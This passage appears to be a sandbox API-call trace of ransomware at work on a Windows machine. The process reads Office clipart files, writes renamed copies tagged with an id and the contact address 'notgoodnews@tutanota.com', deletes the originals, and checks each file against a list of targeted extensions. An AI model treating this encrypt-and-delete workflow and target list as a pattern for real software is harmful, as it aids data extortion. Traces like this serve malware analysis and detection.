(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0160.226] GetLastError () returned 0x0 [0160.226] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1746, lpOverlapped=0x0) returned 1 [0160.744] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1750, lpOverlapped=0x0) returned 1 [0160.746] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.746] WriteFile (in: hFile=0x478, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.746] SetEndOfFile (hFile=0x478) returned 1 [0160.746] CloseHandle (hObject=0x478) returned 1 [0160.746] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.746] SetEndOfFile (hFile=0x474) returned 1 [0160.749] CloseHandle (hObject=0x474) returned 1 [0160.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0160.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0160.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.750] lstrlenW (lpString=".doc") returned 4 [0160.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.750] lstrlenW (lpString=".docx") returned 5 [0160.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.750] lstrlenW (lpString=".pdf") returned 4 [0160.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.750] lstrlenW (lpString=".xls") returned 4 [0160.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.750] lstrlenW (lpString=".xlsx") returned 5 [0160.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.750] lstrlenW (lpString=".ppt") returned 4 [0160.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.750] lstrlenW (lpString=".zip") returned 4 [0160.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.750] lstrlenW (lpString=".rar") returned 4 [0160.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString=".bz2") returned 4 [0160.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString=".7z") returned 3 [0160.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.751] lstrlenW (lpString=".dbf") returned 4 [0160.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.751] lstrlenW (lpString=".1cd") returned 4 [0160.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.751] lstrlenW (lpString=".jpg") returned 4 [0160.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.751] lstrlenW (lpString=".doc") returned 4 [0160.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString=".docx") returned 5 [0160.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.751] lstrlenW (lpString=".pdf") returned 4 [0160.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString=".xls") returned 4 [0160.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.751] lstrlenW (lpString=".xlsx") returned 5 [0160.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.751] lstrlenW (lpString=".ppt") returned 4 [0160.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.751] lstrlenW (lpString=".zip") returned 4 [0160.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.751] lstrlenW (lpString=".rar") returned 4 [0160.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.751] lstrlenW (lpString=".bz2") returned 4 [0160.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.752] lstrlenW (lpString=".7z") returned 3 [0160.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.752] lstrlenW (lpString=".dbf") returned 4 [0160.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.752] lstrlenW (lpString=".1cd") returned 4 [0160.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0160.752] lstrlenW (lpString=".jpg") returned 4 [0160.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.752] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0160.752] lstrlenW (lpString="HH02166_.WMF") returned 12 [0160.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.768] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1324) returned 1 [0160.768] CloseHandle (hObject=0x474) returned 1 [0160.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0160.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0161.549] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.549] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0161.550] GetLastError () returned 0x0 [0161.550] ReadFile (in: hFile=0x478, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x52c, lpOverlapped=0x0) returned 1 [0161.552] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x530, lpOverlapped=0x0) returned 1 [0161.554] ReadFile (in: hFile=0x478, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.554] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.554] SetEndOfFile (hFile=0x4c0) returned 1 [0161.554] CloseHandle (hObject=0x4c0) returned 1 [0161.554] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.554] SetEndOfFile (hFile=0x478) returned 1 [0161.558] CloseHandle (hObject=0x478) returned 1 [0161.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0161.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.560] lstrlenW (lpString=".doc") returned 4 [0161.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.560] lstrlenW (lpString=".docx") returned 5 [0161.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.560] lstrlenW (lpString=".pdf") returned 4 [0161.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.560] lstrlenW (lpString=".xls") returned 4 [0161.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.560] lstrlenW (lpString=".xlsx") returned 5 [0161.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.560] lstrlenW (lpString=".ppt") returned 4 [0161.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.560] lstrlenW (lpString=".zip") returned 4 [0161.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.560] lstrlenW (lpString=".rar") returned 4 [0161.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.560] lstrlenW (lpString=".bz2") returned 4 [0161.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.560] lstrlenW (lpString=".7z") returned 3 [0161.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.560] lstrlenW (lpString=".dbf") returned 4 [0161.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.560] lstrlenW (lpString=".1cd") returned 4 [0161.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.561] lstrlenW (lpString=".jpg") returned 4 [0161.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.561] lstrlenW (lpString=".doc") returned 4 [0161.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.561] lstrlenW (lpString=".docx") returned 5 [0161.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.561] lstrlenW (lpString=".pdf") returned 4 [0161.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.561] lstrlenW (lpString=".xls") returned 4 [0161.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.561] lstrlenW (lpString=".xlsx") returned 5 [0161.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.561] lstrlenW (lpString=".ppt") returned 4 [0161.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.561] lstrlenW (lpString=".zip") returned 4 [0161.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.561] lstrlenW (lpString=".rar") returned 4 [0161.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.561] lstrlenW (lpString=".bz2") returned 4 [0161.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.561] lstrlenW (lpString=".7z") returned 3 [0161.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.562] lstrlenW (lpString=".dbf") returned 4 [0161.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.562] lstrlenW (lpString=".1cd") returned 4 [0161.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0161.562] lstrlenW (lpString=".jpg") returned 4 [0161.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.562] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.562] lstrlenW (lpString="IN00046_.WMF") returned 12 [0161.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0161.564] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1158) returned 1 [0161.564] CloseHandle (hObject=0x478) returned 1 [0161.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0161.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0161.565] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.565] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0161.566] GetLastError () returned 0x0 [0161.566] ReadFile (in: hFile=0x478, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x486, lpOverlapped=0x0) returned 1 [0161.568] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x490, lpOverlapped=0x0) returned 1 [0161.570] ReadFile (in: hFile=0x478, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.570] WriteFile (in: hFile=0x4c0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.570] SetEndOfFile (hFile=0x4c0) returned 1 [0161.570] CloseHandle (hObject=0x4c0) returned 1 [0161.570] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.570] SetEndOfFile (hFile=0x478) returned 1 [0161.574] CloseHandle (hObject=0x478) returned 1 [0161.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0161.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.575] lstrlenW (lpString=".doc") returned 4 [0161.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString=".docx") returned 5 [0161.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.576] lstrlenW (lpString=".pdf") returned 4 [0161.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString=".xls") returned 4 [0161.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.576] lstrlenW (lpString=".xlsx") returned 5 [0161.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.576] lstrlenW (lpString=".ppt") returned 4 [0161.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.576] lstrlenW (lpString=".zip") returned 4 [0161.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.576] lstrlenW (lpString=".rar") returned 4 [0161.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString=".bz2") returned 4 [0161.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString=".7z") returned 3 [0161.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.576] lstrlenW (lpString=".dbf") returned 4 [0161.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.576] lstrlenW (lpString=".1cd") returned 4 [0161.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.576] lstrlenW (lpString=".jpg") returned 4 [0161.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.576] lstrlenW (lpString=".doc") returned 4 [0161.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.577] lstrlenW (lpString=".docx") returned 5 [0161.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.577] lstrlenW (lpString=".pdf") returned 4 [0161.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.577] lstrlenW (lpString=".xls") returned 4 [0161.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.577] lstrlenW (lpString=".xlsx") returned 5 [0161.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.577] lstrlenW (lpString=".ppt") returned 4 [0161.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.577] lstrlenW (lpString=".zip") returned 4 [0161.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.577] lstrlenW (lpString=".rar") returned 4 [0161.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.577] lstrlenW (lpString=".bz2") returned 4 [0161.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.577] lstrlenW (lpString=".7z") returned 3 [0161.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.577] lstrlenW (lpString=".dbf") returned 4 [0161.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.577] lstrlenW (lpString=".1cd") returned 4 [0161.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0161.577] lstrlenW (lpString=".jpg") returned 4 [0161.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.578] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.578] lstrlenW (lpString="IN00118_.WMF") returned 12 [0161.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0161.578] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=792) returned 1 [0161.578] CloseHandle (hObject=0x478) returned 1 [0161.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0161.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0161.579] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.579] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 